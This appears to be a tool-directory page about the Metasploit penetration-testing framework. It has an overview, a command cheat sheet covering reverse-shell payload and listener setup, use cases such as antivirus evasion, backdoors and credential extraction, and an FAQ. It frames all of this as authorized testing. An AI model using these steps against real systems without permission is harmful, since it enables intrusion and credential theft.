Exploitation
Metasploit Framework is a powerful open-source platform for developing, testing, and executing exploit code. It contains a huge database of exploits for various vulnerabilities and provides tools for reconnaissance, exploitation, and post-exploitation activities.
sudo apt install metasploit-framework
msfconsole
Metasploit Framework is the world's most widely used open-source penetration testing platform. Created by H.D. Moore in 2003 and now maintained by Rapid7, it provides security professionals with a modular architecture for developing, testing, and executing exploit code against remote targets. With over 2000 exploits and 500 payloads, it remains the backbone of offensive security operations worldwide.
The framework operates on a module-based architecture divided into exploits, payloads, auxiliary modules, post-exploitation modules, encoders, and nops. Exploits deliver code to compromise a target, payloads provide the attacker with interactive access (Meterpreter shells, command shells), auxiliary modules handle reconnaissance and fuzzing, and post-exploitation modules perform privilege escalation, credential harvesting, and lateral movement after initial compromise.
Metasploit integrates with the PostgreSQL database to store host, service, and vulnerability data gathered during reconnaissance phases. Combined with Nmap XML import capabilities, it creates a unified workflow from scanning through exploitation. The Meterpreter payload provides an advanced, stealthy post-exploitation environment with filesystem manipulation, screenshot capture, keylogging, privilege escalation, and persistent access modules.
Professionals choose Metasploit for authorized penetration testing, red team engagements, and vulnerability validation. It supports the complete attack lifecycle: reconnaissance with auxiliary modules, exploitation with the extensive exploit library, post-exploitation with Meterpreter and persistence scripts, and reporting through db_export. Whether used in a controlled lab or during an enterprise security assessment, Metasploit remains the definitive exploitation framework.
msfconsoleStart Metasploit - Open consolesearch <keyword>Search exploits - Find by name/CVEuse exploit/path/moduleLoad exploit - Select moduleshow optionsView settings - See required optionsset RHOSTS 192.168.1.1Set target - Configure target IPexploit / runExecute attack - Run the exploitsearch type:exploit platform:windowsFilter search - By type and platformsearch cve:2021-34527Search CVE - Find by CVE numberinfoModule info - Detailed exploit infoset PAYLOAD windows/meterpreter/reverse_tcpSet payload - Choose shell typeset LHOST 192.168.1.100Set listener IP - Your machine IPset LPORT 4444Set listener port - Your portsessions -lList sessions - Show active shellssessions -i 1Interact session - Enter session 1use auxiliary/scanner/portscan/tcpPort scanner - MSF port scanningDeploy exploits against identified vulnerabilities in target systems to gain unauthorized access during authorized penetration tests.
Use Meterpreter sessions for privilege escalation, credential extraction, lateral movement, and persistent access after initial compromise.
Verify that discovered CVEs are actually exploitable before including them in remediation reports and patch priorities.
Create custom payloads and encoders to bypass antivirus and endpoint detection during red team engagements.
Extract password hashes, crack them offline, and use pass-the-hash techniques to move laterally across networks.
Generate malicious payloads for phishing campaigns and client-side attacks during authorized social engineering assessments.
Route traffic through compromised hosts to reach internal networks that are not directly accessible from the attack machine.
Install backdoors and persistent access mechanisms on compromised systems to maintain access across reboots and credential changes.
Conduct full adversary simulations using Metasploit as the primary exploitation and C2 framework during red team engagements.
Metasploit Framework is used for developing, testing, and executing exploit code against target systems during authorized penetration tests. It contains 2000+ exploits and 500+ payloads for compromising Windows, Linux, and macOS systems, plus post-exploitation tools like Meterpreter for privilege escalation and credential harvesting.
Yes. The Metasploit Framework (the open-source edition) is free and licensed under BSD. Rapid7 also offers Metasploit Pro, a commercial version with a web interface, team collaboration, and advanced reporting features, priced at approximately $5000 per year.
Metasploit works by matching known vulnerabilities with exploit modules that deliver payloads to target systems. You select an exploit module, configure it with target information (RHOSTS) and listener settings (LHOST, LPORT), then run it. If successful, the payload executes on the target and connects back to your listener, providing an interactive session.
Metasploit Framework is written in Ruby. Custom modules, exploits, and post-exploitation scripts are also developed in Ruby. Understanding Ruby is beneficial for writing custom modules, but basic usage of the framework does not require programming knowledge.
Meterpreter is an advanced, stealthy payload that runs in-memory on compromised systems. It provides interactive access with commands for filesystem manipulation, screenshots, keylogging, privilege escalation (getsystem), credential extraction (hashdump), and network pivoting without writing files to disk.
Yes. Metasploit Framework runs on Windows, Linux, and macOS. On Windows, install using the official installer from rapid7.com. However, Linux (especially Kali Linux) is recommended for the best experience due to native tool integration and module compatibility.
Metasploit Framework is free and open-source with a command-line interface, while Cobalt Strike is a commercial ($5000+/year) adversary simulation platform with a full GUI, team collaboration features, and customizable C2 profiles. Metasploit is best for learning and standard pentesting; Cobalt Strike excels in enterprise red team operations.
Yes, absolutely. Using Metasploit against any system without explicit written permission from the owner is illegal under laws like the CFAA (US) and Computer Misuse Act (UK). Always obtain proper authorization before testing, and practice in lab environments like Hack The Box or TryHackMe.
Popular Metasploit exploits include EternalBlue (MS17-010) for Windows SMB, Apache Struts for web servers, Tomcat manager exploitation, vsftpd backdoor, and PHP CGI injection modules. The ms17_010_eternalblue module remains one of the most widely used due to the prevalence of unpatched Windows systems.
Update Metasploit by running sudo apt update && sudo apt install metasploit-framework on Kali Linux. For manual installations, use the msfupdate command or pull from the GitHub repository: git pull in the Metasploit directory. Check the version with msfconsole -v.
Information Gathering
Network scanner that identifies targets and services before Metasploit exploitation.
Web Application
Web application security testing proxy for identifying injection points.
Password Attacks
Online password brute-forcer for services found during reconnaissance.
Web Application
SQL injection automation for web databases discovered during scanning.
Sniffing & Spoofing
Packet analyzer for inspecting network traffic and verifying exploitation results.
Wireless Attacks
WiFi security auditing suite for wireless network testing.
Sniffing & Spoofing
LLMNR/NBT-NS/MDNS poisoner for capturing credentials on local networks.
The framework console utilizes colored indicators: green [+] means success, blue [*] signifies status updates, yellow [-] warns of failures, and red [!] highlights errors. A successful breach typically yields a message confirming a session has been opened.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.